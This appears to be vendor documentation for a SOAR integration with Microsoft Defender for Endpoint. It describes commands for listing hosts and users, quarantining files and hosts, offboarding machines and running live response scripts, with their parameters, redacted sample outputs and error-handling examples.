The ID(s) of the Machine Action(s) to retrieve live response command result(s). Machine Action IDs can be obtained using the Run Live Response Command command.
[ "*****" ]
Output
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Live Response Results failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The key value (ExampleIncorrectMachineActionID) from request is not valid. The key value should be format of type 'Edm.Guid'.
Error Sample Data
Get Live Response Results failed.
Status Code: 400.
Message: The key value (ExampleIncorrectMachineActionID) from request is not valid. The key value should be format of type 'Edm.Guid'.
Get Machine Logon Users
Retrieves a collection of logged on users on a specific device.
READER NOTE
The parameter Machine IDs is required to run this command.
Run the List Hosts command to obtain Machine IDs. The Machine IDs can be found in the raw data at the path $.value[*].id.
Please note that some machines may not have a logon user. In this case, the command will run successfully with no returning results.
Limitations for this command:
You can query on alerts last updated according to your configured retention period.
Rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The ID(s) of the machine(s) to retrieve a collection of logged on users from. Machine IDs can be obtained using the List Hosts command.
["*****"]
Output
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON and adding machineId field to indicate your input Machine IDs.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
MACHINEID
***
***
ID
***\***
***\***
ACCOUNTNAME
***
***
ACCOUNTDOMAIN
***
***
ACCOUNTSID
FIRSTSEEN
6/1/2021 6:29:25 PM
6/1/2021 6:31:33 PM
LASTSEEN
6/3/2021 12:49:12 AM
6/3/2021 12:13:17 AM
MOSTPREVALENTMACHINEID
LEASTPREVALENTMACHINEID
LOGONTYPES
Network, RemoteInteractive
Interactive
LOGONMACHINESCOUNT
ISDOMAINADMIN
TRUE
TRUE
ISONLYNETWORKUSER
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get Machine Logon Users failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Machine XXX was not found.
Error Sample Data
Get Machine Logon Users failed.
Status Code: 404.
Message: Machine XXX was not found.
Get Users By Alert
Retrieves users related to specified Alert IDs.
READER NOTE
Limitations for this command:
You can query alerts by the last updated time according to your configured retention period.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The parameter Alert IDs is required to run this command.
Run the Fetch Event or Fetch Related Events command to obtain Alert IDs. You should already have your desired Alert IDs on hand to run this command. If you don’t, you may use the Fetch Event or Fetch Related Events command with defined filters to retrieve the desired Alert IDs. The Alert IDs can be found in the raw data at the path $.value[*].id.
Not all alerts are related to a user. If you input an alert with no related users, the error message “There is no user related to alert…” will be returned.
Input
Input Parameter
Required /Optional
Description
Example
Alert IDs
Required
The ID(s) of the alert(s) to retrieve related user information from. Alert IDs can be obtained using the Fetch Event or Fetch Related Events commands.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
@ODATA.CONTEXT
https://api.***.com/api/***
https://api.***.com/api/***
ID
***\***
***\***
ACCOUNTNAME
administrator
administrator
ACCOUNTDOMAIN
d3cyber-defende
d3cyber-defende
ACCOUNTSID
***
***
FIRSTSEEN
7/21/2020 10:27:15 PM
7/21/2020 10:27:15 PM
LASTSEEN
7/23/2020 5:14:56 PM
7/23/2020 5:14:56 PM
MOSTPREVALENTMACHINEID
***
***
LEASTPREVALENTMACHINEID
***
***
LOGONTYPES
LOGONMACHINESCOUNT
1
1
ISDOMAINADMIN
FALSE
FALSE
ISONLYNETWORKUSER
FALSE
FALSE
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Get User By Alert failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: There is no User related to the alert.
Error Sample Data
Get User By Alert failed.
Status Code: 404.
Message: There is no User related to the alert.
List Hosts Actions
Retrieves a list of host actions.
READER NOTE
Limitations for this command:
Maximum page size is 10,000.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"IDs": [
"*****",
"*****",
"*****"
]
}
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
***
***
***
***
***
TYPE
StopAndQuarantineFile
StopAndQuarantineFile
StopAndQuarantineFile
RunAntiVirusScan
RunAntiVirusScan
TITLE
REQUESTOR
***
***
***
***@***.com
***
REQUESTORCOMMENT
Stop and quarantine file on machine due to alert ***_***
Stop and quarantine file on machine due to alert ***_***
Stop and quarantine file on machine due to alert ***_***
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
List Hosts Actions failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
Error Sample Data
List Hosts Actions failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
List Hosts
Retrieves a list of machines.
READER NOTE
Limitations for this command:
You can get devices last seen according to your configured retention period.
Maximum page size is 10,000.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"IDs": [
"*****",
"*****",
"*****"
]
}
Return Data
Indicates one of the possible command execution states: Successful or Failed.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
List Hosts failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
Error Sample Data
List Hosts failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
List Indicator
Retrieves a collection of all active Indicators.
READER NOTE
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.value in API returned JSON.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"IDs": [
"***"
]
}
Return Data
Indicates one of the possible command execution states: Successful or Failed. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
***
INDICATORVALUE
d3security2.com
INDICATORTYPE
DomainName
ACTION
AlertAndBlock
CREATEDBY
***
SEVERITY
Informational
CATEGORY
1
APPLICATION
demo-test
EDUCATEURL
BYPASSDURATIONHOURS
TITLE
test
DESCRIPTION
test
RECOMMENDEDACTIONS
nothing
CREATIONTIMEDATETIMEUTC
4/14/2021 12:14:04 AM
EXPIRATIONTIME
12/12/2022 12:00:00 AM
LASTUPDATETIME
4/14/2021 12:14:05 AM
LASTUPDATEDBY
RBACGROUPNAMES
[]
RBACGROUPIDS
[]
NOTIFICATIONID
NOTIFICATIONBODY
VERSION
MITRETECHNIQUES
[]
HISTORICALDETECTION
FALSE
LOOKBACKPERIOD
GENERATEALERT
TRUE
ADDITIONALINFO
CREATEDBYDISPLAYNAME
d3cyebr
EXTERNALID
CREATEDBYSOURCE
PublicApi
CERTIFICATEINFO
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
List Indicator failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.
Error Sample Data
List Indicator failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Ti.ReadWrite, Ti.ReadWrite.All) to access the resource.
List Live Response Library Files
Retrieves live response library files. Please note, this command applies to Microsoft Defender for Endpoint.
READER NOTE
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
List Live Response Library Files failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Failed to get Access Token.
Error Sample Data
List Live Response Library Files failed.
Status Code: 400.
Message: Failed to get Access Token.
List Machine Actions
Returns a collection of Machine Actions based on the specified criteria. The rate limitations for this command are 100 calls per minute and 1500 calls per hour.
READER NOTE
Machine Action IDs and Machine IDs are optional parametersto run this command.
Run the List Host Actions command to obtain Machine Action IDs. Machine Action IDs can be found in the raw data at the path $.value.[*].id.
Run the List Hosts or List Host Actions or List Host Actions command to obtain Machine IDs. For both the List Hosts and Get Host By IP command, Machine IDs can be found in the raw data at the path $.value[*].id. For List Host Actions command, Machine IDs can be found in the raw data at the path $.value[*].machineId.
Your input Machine ID and Machine Action ID must match in order to run this command. If the input values do not match, the command will run successfully with no result returned.
If you input multiple Machine Action IDs and Machine IDs, only the matching pairs (i.e., a Machine ID and a Machine Action ID exist under the same JSON object in the returned raw data of the List Host Actions command) will be returned. For example, if multiple input Machine Action IDs correspond to one Machine ID, all of those successfully matched pairs will be returned. It is possible to have multiple Machine Action ID inputs but only one input Machine ID.
Limitations for this command:
Maximum page size is 10,000.
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
If no input parameters are defined, all machine actions will be returned. You can use this command to retrieve Action IDs and Device IDs. The returned “id” key contains Machine Action IDs and the “machineId” key contains Machine IDs.
Input
Input Parameter
Required /Optional
Description
Example
Machine Action IDs
Optional
The IDs of the machine actions to filter results. Machine Action IDs can be obtained using List Host Actions command.
["*****"]
Machine IDs
Optional
The ID(s) of the machine(s) to list corresponding machine actions. Machine IDs can be obtained using the List Hosts or Get Host By IP or List Host Actions command.
["*****"]
Create Time
Optional
The creation time of the machine actions to filter results. The input is in UTC time.
2022-10-07 00:00
Time Operator
Optional
The operator for the defined Create Time to filter results. The available time operators are Greater Than, Greater Than Equal, Less Than, Less Than Equal.
Less Than
Types
Optional
The list of Machine Action types to filter results. The valid values are RunAntiVirusScan, Offboard, Live Response, CollectInvestigationPackage, Isolate, Unisolate, StopAndQuarantineFile, RestrictCodeExecution, and UnrestrictCodeExecution.
["Isolate"]
Requestors
Optional
The list of Machine Action requesters to filter results.
["***@example.com"]
Status
Optional
The list of Machine Action statuses to filter results. The valid values are Pending, InProgress, Succeeded, Failed, TimeOut, and Cancelled.
["InProgress", "Succeeded"]
Limit
Optional
The maximum number of records (up to 100) to return. The default value is 20.
3
Offset
Optional
The offset value to paginate the returned records.
Indicates one of the possible command execution states: Successful or Failed. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
ID
TYPE
TITLE
REQUESTOR
REQUESTORCOMMENT
STATUS
MACHINEID
COMPUTERDNSNAME
CREATIONDATETIMEUTC
LASTUPDATEDATETIMEUTC
CANCELLATIONREQUESTOR
CANCELLATIONCOMMENT
CANCELLATIONDATETIMEUTC
ERRORHRESULT
SCOPE
EXTERNALID
REQUESTSOURCE
RELATEDFILEINFO
COMMANDS
TROUBLESHOOTINFO
***
Isolate
None
***@example.com
Test
Succeeded
***
***
2022-05-03T22:04:14.7987522Z
2022-05-03T22:04:38.4447952Z
None
None
None
0
Full
None
Portal
None
[]
None
Error Handling
If the Return Data is Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
List Machine Actions failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
Error Sample Data
List Machine Actions failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Machine.Read.All, Machine.ReadWrite.All) to access the resource.
Offboard Machines
Offboard specified device(s) from Defender for Endpoint. This command has a rate limitation of 100 calls per minute and 1500 calls per hour. Also, the API endpoint used for the command is only supported on Windows 11, Windows 10, version 1703 and later; on Windows Server 2019 and later; and on Windows Server 2012 R2 and Windows Server 2016 when using the new, unified agent for Defender for Endpoint. macOS or Linux devices are not supported.
Note: This API is supported on Windows 11, Windows 10, version 1703 and later; on Windows Server 2019 and later; and on Windows Server 2012 R2 and Windows Server 2016 when using the new, unified agent for Defender for Endpoint.
This API is not supported on macOS or Linux devices.
Running the offboarding API only stops the sensor service from running, but it does not remove the onboarding information from the registry like an offboarding script does.
The parameter Machine IDs is required to run this command.
Run the List Hosts command to obtain Machine IDs. Machine IDs can be found in the raw data at the path $.value[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The ID(s) of the machine(s) to offboard. Machine IDs can be obtained using the List Hosts command.
[ "*****" ]
Comment
Required
The comment associated with the offboard action.
Offboard machine by vsoc
Output
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
Offboarded Machines Count
1
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Offboard Machines failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 404.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Machine invalidTestMachine was not found.
Error Sample Data
Offboard Machines failed.
Status Code: 404.
Message: Machine invalidTestMachine was not found.
Quarantine Files
Quarantine files based on the specified machine ID and SHA-1 files hashes.
READER NOTE
Machine ID is a required parameterto run this command.
Run the List Hosts or Get Host By IP command to obtain Machine IDs. For both the List Hosts and Get Host By IP command, Machine IDs can be found in the raw data at the path $.value[*].id.
Ensure the file to quarantine exists on your input machine and the file is not trusted.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
D3 customizes the Context Data by extracting the data from path $.[*].machineId, $.[*].fileIdentifier and rename it to Sha1, $.[*].status, and put them in a new JSON Array.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
SAMPLE DATA
CODE
{
"Sha1s": [
"*****"
]
}
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed. The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request. The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab. Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
SAMPLE DATA
CODE
Successful
Result
Provides a brief summary of outputs in an HTML formatted table.
SAMPLE DATA
MACHINEID
SHA1
STATUS
*****
*****
Pending
Error Handling
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Quarantine Files failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 401.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: The application does not have any of the required application permissions (Machine.StopAndQuarantine) to access the resource.
Error Sample Data
Quarantine Files failed.
Status Code: 401.
Message: The application does not have any of the required application permissions (Machine.StopAndQuarantine) to access the resource.
Quarantine Hosts
Isolates specified devices from accessing the external network.
READER NOTE
The parameter Hosts is required to run this command.
Run the List Hosts command to obtain Hosts. Hosts can be found in the raw data at the path $.value[*].id.
Limitations for this command:
The rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The IsolationType parameter defines one of the following the type of isolation to perform:
Full: Full isolation
Selective: Restricts only limited set of applications from accessing the network (see Isolate devices from the network from Microsoft’s documentation for more details)
🔔
Alert
Full isolation is available for devices running on Windows 10(version 1703), and Windows 11.
Selective isolation is available for devices on Windows 10 (version 1709 or later), and Windows 11.
When isolating a device, only certain processes and destinations are allowed. Devices that are behind a full VPN tunnel will not be able to reach the Microsoft Defender for Endpoint and Microsoft Defender Antivirus cloud-based protection-related traffic.
Warning
You cannot isolate a device that is already isolated. Otherwise, an error will be returned.
The quarantine process may take some time. If the status is pending, the device is still in the isolation process. If you run the Unquarantined Host command during this process, an error will return. To check the status of the quarantine process, navigate to the device Action Center on the Microsoft Defender for Endpoint platform. Note: You cannot isolate a device that has already been isolated. If you do so, an error will return.
Input
Input Parameter
Required /Optional
Description
Example
Hosts
Required
The machine IDs of the hosts to quarantine. Hosts can be obtained using the List Hosts command.
[“*****“,”*****”]
Comment
Required
A comment associated with the action.
Isolate machine due to alert
IsolationType
Optional
The isolation type (i.e., Full or Selective) to apply. The default value is Full.
Full
Output
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
The data extracted from Raw Data converted into JSON format. Context Data may be identical to Raw Data in some cases.
It is recommended to refer to the Raw Data instead of Context Data, since it contains the complete API response data. D3 will deprecate Context Data in the future, and playbook tasks using Context Data will be replaced with Raw Data.
Common cyber security indicators such as unique IDs, file hash values, CVE numbers, IP addresses, etc., will be extracted from Raw Data as Key Fields. The system stores these key fields in the path $.[playbookTask].outputData. You can use these key-value pairs as data points for playbook task inputs.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The errortab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Quarantine Hosts failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 400.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Message: Action is not supported for this client version.
Error Sample Data
Quarantine Hosts failed.
Status Code: 400.
Message: Action is not supported for this client version.
Run Live Response Commands
Runs a live response command on the specified device(s). Please note, this command applies to Microsoft Defender for Endpoint Plan 2.
READER NOTE
Machine IDs and Script Name are required parameters to run this command.
Run the List Hosts or Get Host By IP command to obtain Machine IDs. For both the List Hosts and Get Host By IP command, Machine IDs can be found in the raw data at the path $.value[*].id.
Run the List Live Response Library Files command to obtain Script Name. Script Name can be found in the raw data at the path fileName.
Limitations for this command:
Rate limitations for this API are 10 calls per minute (additional requests are responded with HTTP 429).
25 concurrently running sessions (requests exceeding the throttling limit receives a "429 - Too many requests" response).
If the machine isn't available, the session is queued for up to three days.
RunScript command timeouts after 10 minutes.
Live response commands can't be queued up and can only be executed one at a time.
If the machine that you're trying to run this API call is in an RBAC device group that doesn't have an automated remediation level assigned to it, you need to at least enable the minimum Remediation Level for a given Device Group.
Multiple live response commands can be run on a single API call. However, when a live response command fails all the subsequent actions won't be executed.
Multiple live response sessions can't be executed on the same machine (if live response action is already running, subsequent requests are responded to with HTTP 400 - ActiveRequestAlreadyExists).
The Machine ID(s) on which to run live response commands. Machine IDs can be obtained using the List Hosts or Get Host By IP command.
[ "*****" ]
Comment
Required
The comment associated with the action.
Testing Live Response API
Script Name
Required
The PowerShell script to run. Script Name can be obtained using the List Live Response Library Files command. Please note, if you plan to use an unsigned PowerShell script in the session, you will need to enable it in the Advanced features settings page. Please refer to Configure advanced features in Microsoft Defender for Endpoint.
ListItemsInFolder_v2.ps1
Script Argument
Optional
The PowerShell script arguments.
c:\\ProgramData\\USOPrivate
Output
Return Data
Indicates one of the possible command execution states: Successful, Partially Successful, or Failed.
The Partially Successful state only occurs when a command’s input accepts an array of items (e.g. an array of IP addresses) and one or more items within the array return an error from the API request.
The Failed state can be triggered by any of the following errors:
A connection issue with the integration
The API returned an error message
No response from the API
You can view more details about an error in the Error tab.
Return Data can be passed down directly to a subsequent command or used to create conditional tasks in playbooks.
If the Return Data is Partially Successful or Failed, an Error tab will appear in the Test Result window.
The error tab contains the details responded from D3 SOAR or third-party API calls, including Failure Indicator, Status Code, and Message. This can help you locate the root cause of a command failure.
Parts in Error
Description
Example
Failure Indicator
Indicates the command failure that happened at a specific input and/or API call.
Run Live Response Commands failed.
Status Code
The response code issued by the third-party API server or the D3 SOAR system that can be used to locate the corresponding error category. For example, if the returned status code is 401, the selected connection is unauthorized to run the command. The user or system support would need to check the permission setting in the Microsoft Defender for Endpoint portal. Refer to the Microsoft Endpoint Common REST API Error Codes for details.
Status Code: 403.
Message
The raw data or captured key error message from the integration API server about the API request failure.
Initiates Microsoft Defender Antivirus scan on the device.
READER NOTE
The parameter Hosts is required to run this command.
Run the List Hosts or Get Host By IP command to obtain Hosts. For both the List Hosts and Get Host By IP command, Hosts can be found in the raw data at the path $.value[*].id.
Limitations for this command:
Rate limitations for this API are 100 calls per minute and 1500 calls per hour.
The ScanType input parameter defines one of the following types of scans to perform:
Quick: Performs a quick scan on the device
Full: Performs a full scan on the device
🔔
Alert
This action is available for devices on Windows 10 (version 1709 or later), and Windows 11.
